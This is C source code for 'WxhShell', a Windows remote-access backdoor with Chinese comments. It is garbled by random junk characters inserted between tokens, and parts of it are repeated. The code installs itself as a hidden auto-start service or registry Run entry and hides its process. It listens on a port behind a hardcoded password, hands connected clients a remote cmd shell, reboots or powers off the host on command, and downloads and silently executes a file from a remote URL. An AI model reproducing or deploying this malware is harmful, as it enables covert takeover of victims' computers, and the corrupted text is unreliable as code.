Fj Rt' HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /(IV+ if(NULL == hInst ) return 0; 8G$ %DZ $ m(CW3:| g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j1{|3#5V g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d 90 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gGF]Dq p3>(ZWPNV if (!NtQueryInformationProcess) return 0; )_bc:6Q '%Og9Bgd+ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MMlryn||1 if(!hProcess) return 0; kQ~2mU D![42H+-Qd if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !5,>[^y3 |^fubQs;2 CloseHandle(hProcess); <xM$^r) DfYOGs]@ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3ARvSz@5 if(hProcess==NULL) return 0; Gk_%WY* ,=sbK?& HMODULE hMod; pde,@0(Fa char procName[255]; q#LB 2M unsigned long cbNeeded; >[t0a"
ZK:dhwer if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W0e+yIaR $VEG1]/svp CloseHandle(hProcess); _|<kKfd? l-s%3E3 if(strstr(procName,"services")) return 1; // 以服务启动 cs[_TJo EWOS6Yg7 return 0; // 注册表启动 p7 s#j } kc*zP= )Z6bMAb0'N // 主模块 ]0N'Wtbn int StartWxhshell(LPSTR lpCmdLine) \8j5b+ { q5
eyle6 SOCKET wsl; o95)-Wb BOOL val=TRUE; i%BrnjX int port=0; cr GFU?8 struct sockaddr_in door; `=m[(CLb u#(&
R"6 if(wscfg.ws_autoins) Install(); 6cR}Mm9Hx3 xPBSJhla port=atoi(lpCmdLine); A:|dY^,:?* c:#<g/-{wM if(port<=0) port=wscfg.ws_port; b#ga bVfFhfh* WSADATA data; yx5F]Z<M2 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b-*3]gB 6P,vGmR if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &UzeNL"] setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :`u?pc27Sm door.sin_family = AF_INET; WFWQ;U{| door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^gw htnI door.sin_port = htons(port); Y~I$goT GMk\
l if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8:#\g closesocket(wsl); pe^hOzVv return 1; (EW<Ggi } 5>9KW7^L H CBZ*Z- if(listen(wsl,2) == INVALID_SOCKET) { FHztF$Z closesocket(wsl); $db]b return 1; 1D2Uomd( } $;O-1# ] Wxhshell(wsl); L'i0|_ WSACleanup(); eAqSY s!1 E}Ir<\ return 0; Q?"o.T'; IZ){xI } 99QMMup :TU|;(p // 以NT服务方式启动 #+VH]7] VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yf|,/{S { b:%z<vo DWORD status = 0; fPXMp%T! DWORD specificError = 0xfffffff; ~bm
VpoI 6d4e~F serviceStatus.dwServiceType = SERVICE_WIN32; c}XuzgSY serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2bJqZ,@ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^O>G?a serviceStatus.dwWin32ExitCode = 0; Th!.=S{Y5 serviceStatus.dwServiceSpecificExitCode = 0; T6/d[SH> serviceStatus.dwCheckPoint = 0; T >pz/7gb serviceStatus.dwWaitHint = 0; ( I<]@7> 3k%fY hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); woSO4e/ if (hServiceStatusHandle==0) return; v %?y5w ,/m@<NyK status = GetLastError(); "h@|XI if (status!=NO_ERROR) SW94(4qo { LwPZR E# serviceStatus.dwCurrentState = SERVICE_STOPPED; fj
14'T serviceStatus.dwCheckPoint = 0; [_$r- FA serviceStatus.dwWaitHint = 0; :eK(9o serviceStatus.dwWin32ExitCode = status; l ~bjNhk serviceStatus.dwServiceSpecificExitCode = specificError; )7X+T'?% SetServiceStatus(hServiceStatusHandle, &serviceStatus); B: '}SA{ return; N3M:|D } N+)gYb6h ]YQ!i@Y serviceStatus.dwCurrentState = SERVICE_RUNNING; f+}Rj0A serviceStatus.dwCheckPoint = 0; /5x~3~ serviceStatus.dwWaitHint = 0; } kNbqwVP if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]mfI$p% } <V> [H7 rwZI;t$hf // 处理NT服务事件,比如:启动、停止 tQ:g#EqL9B VOID WINAPI NTServiceHandler(DWORD fdwControl) KBUClx? { C(=$0FIR switch(fdwControl) h;q=<[h\ { ]1 V,_^D case SERVICE_CONTROL_STOP: ">{Ruv}$ serviceStatus.dwWin32ExitCode = 0; 4jWzYuI&J serviceStatus.dwCurrentState = SERVICE_STOPPED; s=[Tm}[ serviceStatus.dwCheckPoint = 0; {|R@\G.1( serviceStatus.dwWaitHint = 0; Sio> QL Y { ,^Cl?\9" SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nu/D$m'PY } o+NPe36 return; 73n|G/9n[ case SERVICE_CONTROL_PAUSE: \hlQu{q. serviceStatus.dwCurrentState = SERVICE_PAUSED; 7g* "AEk break; ;8|D4+ case SERVICE_CONTROL_CONTINUE: Ffvv8x serviceStatus.dwCurrentState = SERVICE_RUNNING; 8vk*", break; fX:)mLnO/ case SERVICE_CONTROL_INTERROGATE: mYU7b8x_ break; k`j>lhH }; zC@ ziH>{] SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4t C-msTf } +%O_xqq P^lzl:| // 标准应用程序主函数 /mi9q int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i8h(b2odQ { r>>4)<C7J U~;Rzoe)q* // 获取操作系统版本 @ij8AGE: OsIsNt=GetOsVer(); oVD)Fb%[i9 GetModuleFileName(NULL,ExeFile,MAX_PATH); u~uR:E%'C z~O#0Q! // 从命令行安装 v?s]up @@h if(strpbrk(lpCmdLine,"iI")) Install(); >A]U.C
A?YU:f // 下载执行文件 3SI~?&HU!/ if(wscfg.ws_downexe) { +hUS
sR& if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .5S< G)Ja
WinExec(wscfg.ws_filenam,SW_HIDE); rE&`G[(b } T<jo@z1UL P#0U[`ltK if(!OsIsNt) { 5B|&+7dCw // 如果时win9x,隐藏进程并且设置为注册表启动 P!6v0ezN HideProc(); (0wQ [( StartWxhshell(lpCmdLine); "e3T;M+ } 34D7qR else ZqDanDM if(StartFromService()) iXF iFsb // 以服务方式启动 z:
;ZPSn StartServiceCtrlDispatcher(DispatchTable); TO,XN\{y else o@6hlLr // 普通方式启动 gv6}GE StartWxhshell(lpCmdLine); Zb \E!>V \zdY$3z return 0; GlVb |O" } / LH#
3 @Sik~Mm_h y ~PW_, OI8Hf3d= =========================================== =do*( HsF8$C$z !R
b ~x(1g;!^ p aQ"[w Wl29xY}`{! " We8n20wf< @W_=Z0] #include <stdio.h> /'[m6zm] #include <string.h> |vGb,&3 #include <windows.h> (Yv )%2 #include <winsock2.h> "X[sW%# F #include <winsvc.h> tx+KxOt9Y #include <urlmon.h> 2cB){.E <n+]\a97* #pragma comment (lib, "Ws2_32.lib") x5X;^.1Fr #pragma comment (lib, "urlmon.lib") i"B q*b@ 9s.x%m, #define MAX_USER 100 // 最大客户端连接数 Mnv2tnU] #define BUF_SOCK 200 // sock buffer hoj('P2a#n #define KEY_BUFF 255 // 输入 buffer |}?o=bO CnXl 7" #define REBOOT 0 // 重启 9 rMP"td #define SHUTDOWN 1 // 关机 <[oPh(!V 5z T~/6-( #define DEF_PORT 5000 // 监听端口 ]Qu.-F#g "mk4O4dF #define REG_LEN 16 // 注册表键长度 tM%
f#O #define SVC_LEN 80 // NT服务名长度 u@@0YUa 7CGxM // 从dll定义API G1!yPQa7d typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 34Fc
oud); typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bd8{25{c typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dF`\ewRFn typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |riP*b fr19C%{ // wxhshell配置信息 Li? _P5+a struct WSCFG { xn&$qLB int ws_port; // 监听端口 @)IHd6 R char ws_passstr[REG_LEN]; // 口令 qH8d3?1XO int ws_autoins; // 安装标记, 1=yes 0=no |_}
LMkU) char ws_regname[REG_LEN]; // 注册表键名 ,Fv8&tR char ws_svcname[REG_LEN]; // 服务名 _MI8P/ char ws_svcdisp[SVC_LEN]; // 服务显示名 46(=*iT&V char ws_svcdesc[SVC_LEN]; // 服务描述信息 H[x$65ND char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p`PBPlUn int ws_downexe; // 下载执行标记, 1=yes 0=no 6Hh\ys char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R.Uwf char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q4[^JQsR2 Y30T>5 }; #+Pk_? O} &%R: // default Wxhshell configuration nZtP!^# struct WSCFG wscfg={DEF_PORT, D,c53B6M "xuhuanlingzhe", 'G#T 6B! 1, )5j1;A:gr "Wxhshell", drM@6$k "Wxhshell", oPbxe "WxhShell Service", [bK5q;#U4 "Wrsky Windows CmdShell Service", hi.`O+; "Please Input Your Password: ", VJf|r#2 1, Uc[@] "http://www.wrsky.com/wxhshell.exe", ?x\tE] "Wxhshell.exe" e Lj1 }; f~rq)2V:
W>HGB // 消息定义模块 2C&G'@> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sN_c4"\q char *msg_ws_prompt="\n\r? for help\n\r#>"; bzC|aUGM char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'LyEdlC] char *msg_ws_ext="\n\rExit."; tx9;8K3 char *msg_ws_end="\n\rQuit."; X9S`#N char *msg_ws_boot="\n\rReboot..."; 2d:5~fEJp char *msg_ws_poff="\n\rShutdown..."; cU[^[;4J< char *msg_ws_down="\n\rSave to "; X%sMna) 6!;eJYj, char *msg_ws_err="\n\rErr!"; *URBx"5XZ char *msg_ws_ok="\n\rOK!"; `p'(:W3a tW8&:L,m char ExeFile[MAX_PATH]; lR8Lfa*/7 int nUser = 0; jI;iTKjB( HANDLE handles[MAX_USER]; Z+%w|Sx int OsIsNt; [e6zCN^t ;WqWD-C SERVICE_STATUS serviceStatus; vUNmN2pRJ SERVICE_STATUS_HANDLE hServiceStatusHandle; Nj^:8]D)0 m8:9Uv // 函数声明 *pP&$!bH% int Install(void); vTk\6o q int Uninstall(void); 2x<A7l)6 int DownloadFile(char *sURL, SOCKET wsh); 937 z*mh int Boot(int flag); Ht,dMt>: void HideProc(void); hh1 ?/ int GetOsVer(void); F3Y/Miw int Wxhshell(SOCKET wsl); >2)`/B9f4 void TalkWithClient(void *cs); -V_iv/fmM int CmdShell(SOCKET sock); s-[v[w'E int StartFromService(void); <=g{E- int StartWxhshell(LPSTR lpCmdLine); |3:e$ NU <K+k VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .IkQo`_s: VOID WINAPI NTServiceHandler( DWORD fdwControl ); i*\\j1mf d7
W[.M$] // 数据结构和表定义 vhz[ H SERVICE_TABLE_ENTRY DispatchTable[] = _=Eb:n+X { ~0T;T {wscfg.ws_svcname, NTServiceMain}, tF&g3)D:NV {NULL, NULL} %%c1@2G< }; 0LW|5BVbIO }QzF.![~z // 自我安装 Q/2(qD; u int Install(void) 5nA
*'($j { *)|EWT?, char svExeFile[MAX_PATH]; IBn+42V HKEY key; Hdxon@,+cd strcpy(svExeFile,ExeFile); jY|fP!?[ m5'nqy F // 如果是win9x系统,修改注册表设为自启动 .I#ss66h if(!OsIsNt) { {Y7dE?!`7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,jc')#]9B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -
fx?@ RegCloseKey(key); Gdu5
&]H#6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )a=58r07 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qZwqnH RegCloseKey(key); t"Tv(W?_ return 0; t8:QK9|1 } m~;}8ObQE } R<eD)+ } IJQ"
*; else { O+w82!<: 5 >c,#* // 如果是NT以上系统,安装为系统服务 W3M1> ( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
5B)z}g^h if (schSCManager!=0) 3X>x` { ->S# `"@$ SC_HANDLE schService = CreateService w40 -K5wt> ( Wq"5-U;:w schSCManager, vvwQ/iJO4Q wscfg.ws_svcname, \\d!z-NOk? wscfg.ws_svcdisp, >gSiH#> SERVICE_ALL_ACCESS, 7mT
iO?/y< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TYH4r q
& SERVICE_AUTO_START, ,3P@5Ef SERVICE_ERROR_NORMAL, S9mcThcZ svExeFile, TRJ5m?x NULL, "IuHSjP NULL, &WV&_z NULL, /y-eVu6 NULL, fP>~ @^ NULL _@L{]6P%V ); $O[$<D%H if (schService!=0) |]UR&* { N/V~>UJ0{* CloseServiceHandle(schService); HD~o]l=H CloseServiceHandle(schSCManager); !+H)N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s.IYPH|pn strcat(svExeFile,wscfg.ws_svcname); G4jyi&] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (
C~ u. RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kes
GwMr"e RegCloseKey(key); {4^NZTjd@ return 0; , #nYH D } F~Sw-b kSf } m3']/}xHO CloseServiceHandle(schSCManager); EpUBO}q] } $)v`roDD. } 0=erf62= w'Vm'zo return 1; .EB'n{zxd } IZSJ+KO <nk7vo?Ks // 自我卸载 }v4T&/vt- int Uninstall(void)
<_>xkQbn2 { \C &V)/ HKEY key; >[r ,X$] n1 if(!OsIsNt) { Usl963A#'F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CwdeW.A"j RegDeleteValue(key,wscfg.ws_regname); h#~\-j9> RegCloseKey(key); 4T??8J-J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LM2S%._cj; RegDeleteValue(key,wscfg.ws_regname); `P
* wz< RegCloseKey(key); N/x]-$fl return 0; Em]2K: } 5D6 ,B } ,ui=Wi1 } _)XZ;Q else { ! lxq,Whr{ `)TuZP_) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c_Lcsn if (schSCManager!=0) !e?2
x@J { ]y\Wc0q SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _L%
=Q ulu if (schService!=0) pZ)N,O3 { FByA4VxB if(DeleteService(schService)!=0) {
\<u CloseServiceHandle(schService); +cwuj CloseServiceHandle(schSCManager); 8Xx4W^*_ return 0; aQHB } 1%$Z%? CloseServiceHandle(schService); i TLX=.M } ncdj/C CloseServiceHandle(schSCManager); #t< } r0/aw
} )F'r-I%Hi 77H"= return 1; :um]a70 } .X\9vVJ 7fXta|eP0 // 从指定url下载文件 {v,NNKQ4x int DownloadFile(char *sURL, SOCKET wsh) 3Q!)bMv \ { 36MNaQt'e HRESULT hr; %?m_;iv char seps[]= "/"; %Xe 74C" char *token;
{v}BtZ char *file; Px?zih!6 char myURL[MAX_PATH]; HB*H%>L{"B char myFILE[MAX_PATH]; t_kRYdW 9 Y+nk:9 strcpy(myURL,sURL); ' '<3;
token=strtok(myURL,seps); gaWJzK
Yc_ while(token!=NULL) i)q8p { *X\J[$! file=token; :6jh*,OHZl token=strtok(NULL,seps); 1!W'0LPM } /N7.|XI. :YCB23368" GetCurrentDirectory(MAX_PATH,myFILE); 0BPUbp( strcat(myFILE, "\\"); nduUuCIY. strcat(myFILE, file); :$Xvq-#$| send(wsh,myFILE,strlen(myFILE),0); srK9B0I send(wsh,"...",3,0); jK\AVjn hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XsGc!o if(hr==S_OK) C;I:?4 return 0; ^tY
_ q else Y2aN<>f return 1; 8}K4M( LV@tt&|N
} 1O2jvt7M #CRd@k? // 系统电源模块 s<{) X$ int Boot(int flag) V/]o': { &3f^]n!@ HANDLE hToken; .&2~gA TOKEN_PRIVILEGES tkp; g4^3H3Pd +?v2MsF'] if(OsIsNt) { *nSKIDw OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %[x
PyqX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B^@X1EE tkp.PrivilegeCount = 1; 8EY]<#PN tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >Xi/ p$$7u AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w >w zV=R if(flag==REBOOT) { ?izl#? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p&2oe\j$, return 0; p :zRgwcn } #|/+znJm else { }=p+X:k= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) GL,( N| return 0; e=`=7H4P } IL{tm0$r } +-NH
4vUg else { Hm'aD2k if(flag==REBOOT) { +!mEP> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t"?)x&dS return 0; /vs79^& } Gq-~zmg else { (,D:6(R7t if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e2kW,JV/<$ return 0; }H:wgy` } LZDJ\"a- } INY?@in (qzBy \\p return 1; '7
t:.88 } 2
ZyO oQ}K_}{> // win9x进程隐藏模块 9qvl9,*g void HideProc(void) 8cGoo u6 { Ey)ey-'\ D2I|Z HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0UhJ
I if ( hKernel != NULL ) %D3Asw/5a { Nx"|10gC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M9Xq0BBu ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +
/>f?+ FreeLibrary(hKernel); 06e dVIRr } [1e]_9)p W5>emx'> return; +K?sg; } wz>[CXpi_ #^{%jlmHxJ // 获取操作系统版本 /[A#iTe int GetOsVer(void) K[S)e!\. { &WZ&Tt/)/ OSVERSIONINFO winfo; z"-oD*ICw winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PYTwyqS GetVersionEx(&winfo); ;;+h4O ) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #gVWLm< return 1; SqZ .}s else &gcZ4gpH return 0; 4 %V9 } PMT}fg 9"zp>VR // 客户端句柄模块 $b)t`r+ int Wxhshell(SOCKET wsl) iK!FVKi} { Va A.J SOCKET wsh; 3vdFO: j struct sockaddr_in client; 4v`G/w DWORD myID; CSY-{ R6TT1Ka3c while(nUser<MAX_USER) 7^syu;DT9Y { t N4-<6 int nSize=sizeof(client); / ;+Mz* wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U4qk<! if(wsh==INVALID_SOCKET) return 1; R_b4S%jhx yMt:L)+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 13pu{Xak if(handles[nUser]==0) i,t!17M: closesocket(wsh); Ns]$+| else jig3M N nUser++; bd H+M?k } I%NeCd WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SgssNv )Y6\"-M[ return 0; {yDQncq'^ } 33&l.[A"!} lOM8%{.'_x // 关闭 socket eAStpG"* void CloseIt(SOCKET wsh) .osG"cS { qWf[X' closesocket(wsh); USaa#s4' nUser--; ) O&zb_{n ExitThread(0); q[9N4nj$< } r&IDTS# DP;:%L} // 客户端请求句柄 j+e~
tCcN/ void TalkWithClient(void *cs) t+K1ArQc { : ^U>n{ y06xl:iQwF SOCKET wsh=(SOCKET)cs; C_JO:$\rE char pwd[SVC_LEN]; R x( yn char cmd[KEY_BUFF]; hy>0'$mU char chr[1]; gAVD-]` int i,j; !cdY`f6x K-@\";whF while (nUser < MAX_USER) { "$D'gSoYe 'Lw8l `7 if(wscfg.ws_passstr) { mn\A)RQ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OMM5ALc(F //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5=I"bnIU //ZeroMemory(pwd,KEY_BUFF); 62MQ+H i=0; wqT9m*VK while(i<SVC_LEN) { |3 Iug iSUu3Yv,_m // 设置超时 |5ge4,}0 fd_set FdRead; 3rd8mh&l struct timeval TimeOut; Sk)lT^by FD_ZERO(&FdRead); (&v,3>3] FD_SET(wsh,&FdRead); }!?RB v'W TimeOut.tv_sec=8; Gs,e8ri! TimeOut.tv_usec=0; f/s" 2r int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RWX!d54& if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :H&G}T(# a>rDJw: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &W c$VDC pwd=chr[0]; !|j|rYi- if(chr[0]==0xd || chr[0]==0xa) { E m^Dg9 pwd=0; hgzNEx%^q break; qozvNJm) } y. 1F@w| i++; 2i;ox*SfpU } cD=IFOB*GD NUJ $)qNA // 如果是非法用户,关闭 socket ly35n` if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aC%Q.+-t
} !d U$1:7 t%J1(H send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }}ic{931 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); */_ 'pt ^\kH^ while(1) { SH#*Lc
-(>Ch>O ZeroMemory(cmd,KEY_BUFF); 0
x' d^ d0C _:_ // 自动支持客户端 telnet标准 U]w"T{;@.) j=0; KV$4}{ while(j<KEY_BUFF) { FvG?%IFM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aWH cmd[j]=chr[0]; ;E[Q/
tr:w if(chr[0]==0xa || chr[0]==0xd) { V"'PA-z3 cmd[j]=0; pPag@L break; gu%i|-} } k3nvML,bv j++; .Gvk5Wn } , ,ng]&%i eV/oY1B]< // 下载文件 Dte5g),R if(strstr(cmd,"http://")) { HyOrAv
< send(wsh,msg_ws_down,strlen(msg_ws_down),0); UqyW8TCf? if(DownloadFile(cmd,wsh)) q mv0 LU send(wsh,msg_ws_err,strlen(msg_ws_err),0); $COjC!M else \v5;t9uBZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c#"t.j<E} } "P54|XIJ\ else { >KvK'Mus/ ^Y+Lf]zz* switch(cmd[0]) { GN9kCyPK a@<-L // 帮助 %+Y wzL{ case '?': { ?@;)2B|q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s,8zj<dUv break; >`SeX: } {V[}#Mf // 安装 J|DZi2o case 'i': { -W<1BJE if(Install()) Gyy4zK send(wsh,msg_ws_err,strlen(msg_ws_err),0); EwU)(UK else k.K#i /t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P\<:.8@$S break; I[v`)T'_{ } W]7/
e // 卸载 .-/IV^lGv case 'r': { .|5$yGEF_+ if(Uninstall()) o|xZ?#^h send(wsh,msg_ws_err,strlen(msg_ws_err),0); f7][#EL else RLMn&j|?e send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e0(aRN{W break; Cl9 nmyf
} ]d@>vzCO // 显示 wxhshell 所在路径 6hv.;n}; case 'p': { Bt(<Xj D char svExeFile[MAX_PATH]; h9CTcWGt strcpy(svExeFile,"\n\r"); ^V#,iO9.- strcat(svExeFile,ExeFile); 3\Q 9>> send(wsh,svExeFile,strlen(svExeFile),0); /e?0Iv"
8> break; jBOl:l,+ } m,!SDCq // 重启 fFqYRK case 'b': { @sA!o[gH send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A;RV~!xx if(Boot(REBOOT)) ^bfZd send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z[d13G; else { 0.0-rd> closesocket(wsh); A)>#n) ExitThread(0); )%MC*Z:^ }
w:QO@ break; i2c|_B } )"6-7ii7(f // 关机 $HsNV6 case 'd': { ~'KqiUY send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0]iaNR
% if(Boot(SHUTDOWN)) #Gg^QJ* send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,NS*`F[O else { O^row1D_ closesocket(wsh); 2~?E' ExitThread(0); PWiUW{7z } Yg3nT:K_Y& break; ^PezV5( } 4fC:8\A // 获取shell qJrKt=CE case 's': { >20dK CmdShell(wsh); `(0B09~7 closesocket(wsh); z<vh8dNl ExitThread(0); ix4]^ break; SnQT1U% } ybE2N // 退出 WEif&<Y case 'x': { pC>h"Hy send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CCe>*tdf CloseIt(wsh); ~Ss,he]Er break; ][v]Nk } LrbD%2U$j5 // 离开 A8Q^y
AP^ case 'q': { ;VAyH('~ send(wsh,msg_ws_end,strlen(msg_ws_end),0); 79W^;\3 closesocket(wsh); ~~h#2SX WSACleanup(); ~r5S{& exit(1); U>f'j;5 break; ($[+dR } @:9Gs!! } %csrNf } Dz6xx? 3yKmuu! // 提示信息 m\0_1 #( if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /~ {`!30 } Rt+ -ud{O } U\tx{CsSz -;L'Jb>s76 return; 4F6aPo2 } tj[E!
&~H ed_ // shell模块句柄 znwKwc8, int CmdShell(SOCKET sock) Nb`qM]& { (;},~( 2B STARTUPINFO si; `z0q:ME ZeroMemory(&si,sizeof(si)); /GC&@y0yi si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; src+z# si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `{G&i\"n PROCESS_INFORMATION ProcessInfo; >9dD7FH char cmdline[]="cmd"; !
I0xq" CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7}UG&t{ return 0; 6_bL<:xtY } =zcvR {Dkp CC`_e^~y=F // 自身启动模式 \toU zTT int StartFromService(void) $3g{9)} { lbBWOx/| typedef struct }Ze*/p- { LD}~] DWORD ExitStatus;
-9i7Ja DWORD PebBaseAddress; sE6>JaH DWORD AffinityMask; *c94'T cl DWORD BasePriority; *kl :/# ULONG UniqueProcessId; $}gMJG ULONG InheritedFromUniqueProcessId; k_=yb^6[U } PROCESS_BASIC_INFORMATION; Ptv'.<- T+F]hv' PROCNTQSIP NtQueryInformationProcess; 0\= du Tn#Co$< static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p2i?)+z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +SH{`7r 6`e7|ilh6 HANDLE hProcess; Z)#UCoK!c PROCESS_BASIC_INFORMATION pbi; ?1SsF>| rm,`M HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W8^m-B& if(NULL == hInst ) return 0; zl|z4j'Irc yijP g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ro{!X, _$, g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4V')FGB$ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Dp
